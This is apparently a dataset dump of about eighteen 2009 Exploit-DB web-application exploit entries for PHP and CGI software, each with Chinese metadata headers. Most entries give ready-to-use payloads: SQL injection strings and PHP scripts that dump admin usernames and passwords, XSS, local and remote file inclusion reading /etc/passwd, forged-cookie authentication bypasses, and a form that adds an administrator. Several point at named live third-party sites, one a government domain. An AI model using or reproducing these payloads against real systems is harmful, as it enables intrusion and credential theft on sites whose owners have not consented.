QLWD/code_shield huggingface dataset:
标题: yogurt 0.3 - Cross-Site Scripting / SQL Injection EDB-ID: 8932 CVE: 2009-2034 2009-2033 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-11 漏洞利用脚本: --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

  Name : Yogurt
  Site    : http://sourceforge.net/projects/yogurt/
  Down : http://sourceforge.net/project/showfiles.php?group_id=112452&package_id=141123&release_id=297459
  Dork  : "Yogurt build"
 
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

 
  Found By : br0ly
  Made in  : Brasil
  Contact  : br0ly[dot]Code[at]gmail[dot]com

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


  Description:

  Bug : XSS
 
  In index.php:

  index.php:45:    if(isset($_GET['msg']))
  index.php:48:        print("<center>". $_GET['msg'] . "</center>"); <-- XSS VUL

  BUG : SQL INJECTION

  system/writemessage.php:81: $rs = mysql_query("SELECT * FROM messages WHERE id=" . $_GET['original'], $db) <-- SQLi Vul
  system/writemessage.php:82:                or bug("Database error, please try again");
  system/writemessage.php:83:            $row = mysql_fetch_array($rs);

 
     
  In neither case was the method _GET filtered properly.
  Others .phps also contains the failures I'm posting the first one I found .. ^^

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


  P0c:
 
    XSS  :  http://localhost/xscripts/yogurt/index.php?msg=<script>alert('br0ly')</script>
   
    First: Go to: http://localhost/yogurt/newuser.php, after register, just login and you can explore the sqli.
   
    SQLi :
    http://localhost/yogurt/system/writemessage.php?original=-1+union+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8+from+users--



  OBS: need register_globals=on;

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2009-06-11] URL: https://www.exploit-db.com/exploits/8932
标题: PHPWebThings 1.5.2 - 'help.php?module' Local File Inclusion EDB-ID: 8928 CVE: 2009-2081 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-11 漏洞利用脚本: ----------------------------------------------------------------------------------------------------

  Name : phpwebthings <= 1.5.2
  Site : http://sourceforge.net/projects/phpwebthings/

  Down : http://sourceforge.net/project/downloading.php?group_id=19103&filename=phpwebthings_1_5_2.zip&a=46042396


----------------------------------------------------------------------------------------------------

 
  Found By : br0ly
  Made in  : Brasil
  Contact  : br0ly[dot]Code[at]gmail[dot]com

----------------------------------------------------------------------------------------------------


  Description:

  Bug : Local File Inclusion
 
  Look this: 

    <?php           theme_draw_centerbox_open("Help");
    if (isset($_GET["module"])) include("modules/{$_GET["module"]}/lang/help_{$cfg["core"]["lang"]}.php"); <-- Vul 

                else include("lang/help_{$cfg["core"]["lang"]}.php");



  If magic_quotes_gpc=off --> LFI;  



----------------------------------------------------------------------------------------------------


  P0c:
 
    LFI:http://localhost/Scripts/phpwebthings_1_5_2/help?module=../../../../../../../../../../../../etc/passwd%00



  OBS: need register_globals=on;

----------------------------------------------------------------------------------------------------

# milw0rm.com [2009-06-11] URL: https://www.exploit-db.com/exploits/8928
标题: School Data Navigator - 'page' Local/Remote File Inclusion EDB-ID: 8924 CVE: 2009-2641 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-10 漏洞利用脚本: ----------------------------------------------------------------------------------------------------

  Name : School Data Navigator
  Site : http://sourceforge.net/projects/school-data-nav/
  Down : http://216.92.6.173/data_navigator/app_and_readme.zip

----------------------------------------------------------------------------------------------------

 
  Found By : br0ly
  Made in  : Brasil
  Contact  : br0ly[dot]Code[at]gmail[dot]com

----------------------------------------------------------------------------------------------------

  Description:

  Bug : Local/Remote File Inclusion
 
  Look this: index.php:48:    require($page); The variable was not declared properly.

  If allow_url_fopen=on   --> RFI;
  If magic_quotes_gpc=off --> LFI;  



----------------------------------------------------------------------------------------------------

  P0c:
 
    LFI:http://localhost/Scripts/app_and_readme/navigator/index.php?page=/etc/passwd
    RFI: http://localhost/Scripts/app_and_readme/navigator/index.php?page=[EVIL_CODE]

  OBS: need register_globals=on;

----------------------------------------------------------------------------------------------------

# milw0rm.com [2009-06-10] URL: https://www.exploit-db.com/exploits/8924
标题: Joomla! Component com_vehiclemanager 1.0 - Remote File Inclusion EDB-ID: 8920 CVE: 2009-2633 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-09 漏洞利用脚本: =-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

  Joomla com_vehiclemanager 1.0 Remote File Include

  Download: http://ordasoft.com/Download-document/1-Vehicle-Manager-Basic.html

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Found: xoron

contact: xorontr@gmail.com (only e-mail)

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Exploit:
          -> .../com_vehiclemanager/toolbar_ext.php?mosConfig_absolute_path=shell?

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Thanx: str0ke, VoLkan

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

# milw0rm.com [2009-06-09] URL: https://www.exploit-db.com/exploits/8920
标题: Joomla! Component com_realestatemanager 1.0 - Remote File Inclusion EDB-ID: 8919 CVE: 2009-2635 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-09 漏洞利用脚本: =-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

  Joomla com_realestatemanager 1.0 Remote File Include

  Download: http://ordasoft.com/Download-document/4-Real-Estate-Manager-Basic.html

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Found: xoron

contact: xorontr@gmail.com (only e-mail)

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Exploit:
          -> .../com_realestatemanager/toolbar_ext.php?mosConfig_absolute_path=shell?

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Thanx: str0ke, VoLkan

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

# milw0rm.com [2009-06-09] URL: https://www.exploit-db.com/exploits/8919
标题: Desi Short URL Script - (Authentication Bypass) Insecure Cookie Handling EDB-ID: 8925 CVE: 2009-2642 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-10 漏洞利用脚本: Desi Short URL  Insecure Cookie Handling Vulnerability
Discovered By:N@bilX
Home:ma-exploit.com /m4r0c-s3curity.cc
email:eyx@hotmail.com
Not: jib L3az Wla Khaz [ma]
--------------------
download:http://webscripts.softpedia.com/script/Miscellaneous/Desi-Short-Url-Script-42484.html
exploit:
***
javascript:document.cookie = "logged =1";
javascript:document.cookie = "uid = 13";
-----------------
demo:http://www.desiscripts.com/demo/URL/index.php

# milw0rm.com [2009-06-10] URL: https://www.exploit-db.com/exploits/8925
标题: mrcgiguy the ticket system 2.0 PHP - Multiple Vulnerabilities EDB-ID: 8917 CVE: 2009-2639 2009-2080 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-09 漏洞利用脚本: MRCGIGUY The Ticket System 2.0 PHP(id) Multiple Remote Vulnerabilities
Founder: ThE g0bL!N
------
Home: http:/www.4ckx.com/dz/
----
Vendor:http://www.mrcgiguy.com
Special Thx:  All Muslims All Members Of Team Algerien Of FootBall
Note: Algerie 3-1 Egypt
Exploit:
------
SQL INJECTION:
-------------
http://wwww.victim.com/admin.php?action=viewticket&id=[ SQL CODE]
[ SQL CODE]=498+union+select+1,version(),3,4,user(),6,database(),8,9,10,11,12--
Demo:
----
http://www.mrcgiguy.com/tts/admin.php?action=viewticket&id=498+union+select+1,version(),3,4,user(),6,database(),8,9,10,11,12--
Note : The exploit Worked out of enter The Right information of admin :)
2) Config Information Disclousr: (out of cookies)
--------------------------------------------------
go to url:
---------
http://victim/tts/admin.php?action=editconfig
Admin Change Password:
*--------------------
http://victim.com/path/admin.php?action=editop&id=1

# milw0rm.com [2009-06-09] URL: https://www.exploit-db.com/exploits/8917
标题: Joomla! Component Akobook 2.3 - 'gbid' SQL Injection EDB-ID: 8911 CVE: 2009-2638 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-09 漏洞利用脚本: Joomla Component com_akobook Vulnerability
----------------------------------------------------------------------
 ###################################################
 [+] Author        :  Ab1i
 [+] Email         :  ab1i_usta@hotmail.com
 [+] Dork  : inurl:index.php?option=com_akobook
 ###################################################
________________________________________________________
Example:
http://localHost/path/components/index.php?option=com_akobook&Itemid=36= ( SQL code )

Demo Live (1):
http://lesnyak.ru/index.php?option=com_akobook&Itemid=31/index.php?option=com_akobook&Itemid=36&func=sign&action=reply&gbid=-1%20+%20birliÄŸi%20+%20+1,2,3,4,5,6,7,8,9%20seÃ§in%20,%2010,11,12,13,14,15,%2016,17,18,19%20/%20*
Demo Live (2):
http://www.prostatitunet.ru/index.php?option=com_akobook&Itemid=31/index.php?option=com_akobook&Itemid=36&func=sign&action=reply&gbid=-1%20+%20birliÄŸi%20+%20+1,2,3,4,5,6,7,8,9%20seÃ§in%20,%2010,11,12,13,14,15,%2016,17,18,19%20/%20*
++++++++++++++++++++++++++++++++++++++++++++++++++
www.ayyildiz.org
TÃ¼rk 'Ã¼n TÃ¼rkten baÅŸka dostu yoktur . Sizde TÃ¼rk siteleri Destek olun ....
Turkish Defacers Ab1i
Eno7 , The_Bekir , Bgh7 , m0sted , Beygazi . Ustalara Selam olsun :)
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

<name>AkoBook</name>
<creationDate>09.04.2006</creationDate>
<author>Melikyan Sergey aka SaD</author>
<copyright> This component is released under the GNU/GPL License.  </copyright>
<authorEmail>contact@saddo.ru</authorEmail>
<authorUrl>http://saddo.ru/</authorUrl>
<version>SE 2.3</version>

# milw0rm.com [2009-06-09] URL: https://www.exploit-db.com/exploits/8911
标题: virtue news - SQL Injection / Cross-Site Scripting EDB-ID: 8901 CVE: 2009-2020 2009-2019 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-08 漏洞利用脚本: Viva l'AlgÃ©rie 3-1  --->Karim Matmour-->Abdel-Kader Ghazal-->Rafik al-Zuhair Jabbur-->
FÃ©licitations Ã  tous les AlgÃ©riens
L'AlgÃ©rie bat l'Egypte 3-1 Ã  aller
El akouba pour le retour
#-------------------------AllaH AkbaR-------------------------------
#Virtue News Multiple Remote Vulnerabilities
#-------------------------------------------------------------------
#Discovered By: Snakespc     ALGERIAN HaCkEr 
#Mail: snakespc@gmail.com
#Site:http://www.snakespc.com/sc/index.php
#
#            les AlgÃ©riens Kamikaz Wa4rin Fi kol Bla4s 
#-------------------------SNAKES TEAM-------------------------------
#Script:Virtue News
#
#
#http://www.virtuenetz.com/news_manager.php
#--------------------------SNAKES TEAM------------------------------
#Exploit:
#--------
#Demo:sql
#http://www.virtuenetz.com/news/news_detail.php?nid=-2+UNION%20SELECT%201,2,3,password,5,6,7+from+admin--
#Xss
#http://www.virtuenetz.com/news/news_detail.php?nid="><script>alert(document.cookie)</script>
#-------------------------SNAKES TEAM-------------------------------
# Mr.HCOCA_MAN:::DrEaDFuL:::yassine_enp:::His0k4 --->Tous les AlgÃ©riens
#--------------------------SNAKES TEAM------------------------------
#ALL www.SnakespC.com/sc>>>> (  Members )  >>>>Str0ke >>>>>>>Milw0rm

# milw0rm.com [2009-06-08] URL: https://www.exploit-db.com/exploits/8901
标题: Joomla! Component com_media_library 1.5.3 - Remote File Inclusion EDB-ID: 8912 CVE: 2009-2634 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-09 漏洞利用脚本: =-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

  Joomla com_media_library 1.5.3 Remote File Include

  Download: http://ordasoft.com/Download-document/2-MediaLibrary-Basic-1.5.3.html

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Found: xoron

contact: xorontr@gmail.com (only e-mail)

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Exploit:
          -> .../com_media_library/toolbar_ext.php?mosConfig_absolute_path=shell?

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Thanx: str0ke, VoLkan

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

# milw0rm.com [2009-06-09] URL: https://www.exploit-db.com/exploits/8912
标题: Joomla! Component BookLibrary 1.5.2.4 - Remote File Inclusion EDB-ID: 8908 CVE: 2009-2637 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-09 漏洞利用脚本: =-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

  Joomla com_booklibrary_1.5.2.4 Remote File Include

  Download: http://ordasoft.com/Download-document/3-BookLibrary-1.5.2.4-Basic.html

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Found: xoron

contact: xorontr@gmail.com (only e-mail)

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Exploit:
          -> .../com_booklibrary/toolbar_ext.php?mosConfig_absolute_path=shell?

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Thanx: str0ke, VoLkan

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

# milw0rm.com [2009-06-09] URL: https://www.exploit-db.com/exploits/8908
标题: DM FileManager 3.9.2 - Insecure Cookie Handling EDB-ID: 8903 CVE: 2009-2025 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-08 漏洞利用脚本: DM FileManager 3.9.2 Insecure Cookie Handling Vuln
Founder: ThE g0bL!N
------
Home: http:/www.4ckx.com/dz/
----
Vendor:http://dutchmonkey.com
Special Thx: Snakespc
Note: Algerie 3-1 Egypt
Exploit:
------
javascript:document.cookie="USER=[user name ];path=/";
javascript:document.cookie="GROUPID=1;path=/";
javascript:document.cookie="GROUP=[Groupe of user];path=/";
javascript:document.cookie="USERID=[user_id];path=path=/";
Then Go to Url /admin.php
Demo:
----
http://dutchmonkey.com/products/dm-filemanager/demo/admin/login.php
Exp for demo:
------------
javascript:document.cookie="USER=GUEST;path=/products/dm-filemanager/demo/admin/";
javascript:document.cookie="GROUPID=1;path=/products/dm-filemanager/demo/admin/";
javascript:document.cookie="GROUP=ADMINISTRATORS;path=/products/dm-filemanager/demo/admin/";
javascript:document.cookie="USERID=51;path=/products/dm-filemanager/demo/admin/";
Note: ALgerie en Coupe Du Monde In shaa ALLAH
################################################################################################

# milw0rm.com [2009-06-08] URL: https://www.exploit-db.com/exploits/8903
标题: Grestul 1.2 - Remote Add Administrator Account EDB-ID: 8902 CVE: 2009-2040 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-08 漏洞利用脚本: Grestul 1.2 Remote add admin exploit
Founder: ThE g0bL!N
------
Home: http:/www.4ckx.com/dz/
----
Vendor:http://grestul.com/
Note: Algerie 3-1 Egypt

code
-----
<form method="post" name="add_admin" id="add_admin" action="http://grestul.com/demo/admin/options.php?action=manage_admin">
  <label for="username_new" class="label_newpage">Username:</label><br /><input type="text" name="username_new" id="username_new" class="input_newpage" value="" />
  <br /><br /><label for="password" class="label_newpage">New Password:</label><br /><input type="password" name="password" id="password" class="input_newpage" value="" />
  <br /><br /><label for="con_password" class="label_newpage">Confirm Password:</label><br /><input type="password" name="con_password" id="con_password" class="input_newpage" value="" />
  <br /><input type="submit" name="add_admin" id="add_admin" value="Add Admin" class="submit_newpage" />
  </form></div>
---------------------------------------------------------------------------------------------------------

# milw0rm.com [2009-06-08] URL: https://www.exploit-db.com/exploits/8902
标题: Joomla! Component MooFAQ (com_moofaq) - Local File Inclusion EDB-ID: 8898 CVE: 2009-2015 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-08 漏洞利用脚本: ----------------------------------------------------------------------
Joomla Component MooFAQ Local File Inclusion Vulnerability
----------------------------------------------------------------------

 ###################################################
 [+] Author        :  Chip D3 Bi0s
 [+] Email         :  chipdebios[alt+64]gmail.com
 [+] Vulnerability :  LFI
 ###################################################

________________________________________________________

Example:

http://localHost/path/components/com_moofaq/includes/file_includer.php?gzip=0&file=[LFI]


Demo Live (1):
http://www.paginaswebhonduras.com/components/com_moofaq/includes/file_includer.php?gzip=0&file=/../../../../../etc/passwd

Demo Live (2):
http://www.uers.gov.do/components/com_moofaq/includes/file_includer.php?gzip=0&file=/etc/passwd

++++++++++++++++++++++++++++++++
[!] Produced in South America
--------------------------------


<productName>FAQ Component using mooTools</productName>
<creationDate>20 July 2007</creationDate>
<version>1.0</version>
<joomlaVersion>1.0.13</joomlaVersion>
<author>Douglas Machado</author>
<authorName>Douglas Machado</authorName>
<authorEmail>falecom@focalizaisso.com.br</authorEmail>
<authorUrl>opensource.focalizaisso.com.br</authorUrl>
<productPicture>config.png</productPicture>
<productUrl>http://opensource.focalizaisso.com.br/</productUrl>
<setupUrl>http://opensource.focalizaisso.com.br/</setupUrl>

# milw0rm.com [2009-06-08] URL: https://www.exploit-db.com/exploits/8898
标题: Virtue Book Store - 'cid' SQL Injection EDB-ID: 8893 CVE: 2009-2017 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-08 漏洞利用脚本: CMS : Online Book Store
WEB  : http://www.virtuenetz.com/book/
Archivo : products.php
Variable Tipo : GET
valor : cid
Tipo : SQL Injection
URL : http://www.site.com/products.php?cid=[SQLI]

Exploit :
<?
$web  = $argv[1];
$url = $web."products.php?cid=8+and+1=0+union+select+all+concat(0x756E646572,id,0x3A,login,0x3A,password,0x736563)+from+admin+limit+0,1";
preg_match_all("/under(.*)sec/",file_get_contents($url),$salida, PREG_PATTERN_ORDER);
$info = explode(":",$salida[1][0]);
echo "ID :".$info[0]."\n";
echo "Usuario : ".$info[1]."\n";
echo "Password : ".$info[2]."\n";
?>

Ejemplo :
undersec@Undersec:~/Escritorio$ php exploit.php http://www.virtuenetz.com/book/

ID :1
Usuario : admin
Password : admin

Gretz :
C1c4tr1z(voodoo-labs.org),Nobody,1995,Lix (arrivalsec.wordpress.com),NanoNRoses,Codebreak(?),Nork And All Friends of Undersecurity.net.

100% CHILE
WWW.UNDERSECURITY.NET

# milw0rm.com [2009-06-08] URL: https://www.exploit-db.com/exploits/8893
标题: Interlogy Profile Manager Basic - Insecure Cookie Handling EDB-ID: 8895 CVE: 2009-2640 类型: WEBAPPS 平台: CGI 发布日期: 2009-06-08 漏洞利用脚本: [~] interlogy Profile Manager Basic (for ByPass) Insecure Cookie Handling Vulnerability 
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 06/06/2009
[~]
[~] Home: yildirimordulari.com / z0rlu.blogspot.com 
[~]
[~] msn: trt-turk@hotmail.com
[~] 
[~] N0T: Kpss AnanI ....
[~] -----------------------------------------------------------

desc:

normal login for cookie

pmadm=dGVzdA;

if Ã½ do this:

pmadm=dGVzd(write any thing);

example:

pmadm=dGVzdz;  

or

pmadm=dGVzd123231212313;

not login 

if Ã½ do wthis:

pmadm=dGVzd ' or ';

boom this loggin :D

exp:

javascript:document.cookie = "pmadm=dGVzd ' or '; path=/";

after you go here:

http://demo.interlogy.com/pm3/cgi/admin.cgi?action=edittemp

or http://demo.interlogy.com/pm3/cgi/admin.cgi?action=users

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & DrLy0N & w0cker & Cyber-Zone & Stack & ThE g0bL!N & AlpHaNiX  and all friends
[~]
[~] yildirimordulari.com / z0rlu.blogspot.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2009-06-08] URL: https://www.exploit-db.com/exploits/8895
标题: Virtue Shopping Mall - 'cid' SQL Injection EDB-ID: 8894 CVE: 2009-2016 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-08 漏洞利用脚本: CMS : Virtue Shopping Mall
WEB  : http://www.virtuenetz.com/mall/
Archivo : products.php
Variable Tipo : GET
valor : cid
Tipo : SQL Injection
URL : http://www.site.com/products.php?cid=[SQLI]

Exploit :
<?
$web  = $argv[1];
$url = $web."/products.php?cid=8+and+1=0+union+select+all+concat(0x756E646572,id,0x3A,login,0x3A,password,0x736563)+from+admin+limit+0,1";
preg_match_all("/under(.*)sec/",file_get_contents($url),$salida, PREG_PATTERN_ORDER);
$info = explode(":",$salida[1][0]);
echo "ID :".$info[0]."\n";
echo "Usuario : ".$info[1]."\n";
echo "Password : ".$info[2]."\n";
?>


undersec@Undersec:~/Escritorio$ php exploit.php http://www.virtuenetz.com/mall/

ID :1
Usuario : admin
Password : admin

Gretz :
C1c4tr1z(voodoo-labs.org),Nobody,1995,Lix (arrivalsec.wordpress.com),NanoNRoses,Codebreak(?),Nork And All Friends of Undersecurity.net.

100% CHILE
WWW.UNDERSECURITY.NET

# milw0rm.com [2009-06-08] URL: https://www.exploit-db.com/exploits/8894
标题: Frontis 3.9.01.24 - 'source_class' SQL Injection EDB-ID: 8900 CVE: 2009-2013 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-08 漏洞利用脚本: Viva l'AlgÃ©rie 3-1  --->Karim Matmour-->Abdel-Kader Ghazal-->Rafik al-Zuhair Jabbur-->
                                 FÃ©licitations Ã  tous les AlgÃ©riens
                                 L'AlgÃ©rie bat l'Egypte 3-1 Ã  aller
                                     El akouba pour le retour
#-------------------------AllaH AkbaR-------------------------------
#Frontis V3.9.01.24 Remote SQL Injection Vulnerability
#-------------------------------------------------------------------
#Discovered By: Snakespc     ALGERIAN HaCkEr 
#Mail: snakespc@gmail.com
#Site:http://www.snakespc.com/sc/index.php
#
#            les AlgÃ©riens Kamikaz Wa4rin Fi kol Bla4s 
#-------------------------SNAKES TEAM-------------------------------
#Script:Frontis V3.9.01.24
#
#http://frontisgroup.com
#--------------------------SNAKES TEAM------------------------------
#Exploit:
#--------
#
#Demo:
#http://demo.frontisgroup.com/bin/aps_browse_sources.php?mode=browse_classes&source_class=1+UNION SELECT 1,group_concat(user_name,0x3a,user_pass,0x2e,user_email),3,4+from+login_table--
#
#-------------------------SNAKES TEAM-------------------------------
# Mr.HCOCA_MAN:::DrEaDFuL:::yassine_enp:::His0k4 --->Tous les AlgÃ©riens
#--------------------------SNAKES TEAM------------------------------
#ALL www.SnakespC.com/sc>>>> (  Members )  >>>>Str0ke >>>>>>>Milw0rm

# milw0rm.com [2009-06-08] URL: https://www.exploit-db.com/exploits/8900